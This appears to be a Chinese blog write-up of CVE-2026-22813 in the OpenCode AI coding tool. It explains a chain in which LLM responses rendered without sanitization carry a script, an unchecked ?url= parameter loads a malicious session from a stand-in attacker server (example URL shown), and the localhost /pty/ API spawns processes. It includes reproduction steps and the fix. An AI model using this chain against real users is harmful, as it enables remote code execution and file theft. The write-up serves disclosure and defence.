漏洞概述 CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。 漏洞背景 OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。 三重攻击链解析 第一环:XSS漏洞(初始立足点) 漏洞位置:OpenCode网页UI的Markdown渲染器 根本原因 1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能 2 缺乏CSP防护:网页界面没有实施内容安全策略 3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义 攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。 技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器) 功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

Plain Text

复制代码
http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程 1 用户浏览器访问本地OpenCode页面(localhost:4096 2 网页UI读取?url=参数,连接至攻击者控制的服务器 3从攻击者服务器加载预先准备好的恶意会话内容 4恶意内容触发第一环的XSS漏洞 关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。 第三环:本地API滥用(最终杀伤) 高危API端点http://localhost:4096/pty/ API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。 同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以: 1下载并执行远程恶意脚本 2安装后门程序 3窃取敏感文件 4横向移动至内网其他系统 漏洞复现

image.png

提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。 1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json

这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。 启动简易HTTP服务器

3.进行攻击 1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL 在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。 4 确认文件是在目录中创建/tmp/

漏洞修复

image.png

移除内嵌JavaScript

image.png

添加了 DOMPurify 依赖

image.png

在图像预览组件中添加了安全处理 防止了XSS攻击 移除移除动态JavaScript执行和自定义URL参数

image.png

改了306行代码,近乎重写了该文件 移除自定义URL参数

image.png

通过props控制,不再从window对象读取 结论 CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出: 1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护 2 信任模型的缺陷:过度信任客户端输入和本地网络环境 3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模

标签: OpenCode, 远程代码执行, 安全漏洞, CVE-2026-22813, XSS漏洞, API滥用, 攻击链

添加新评论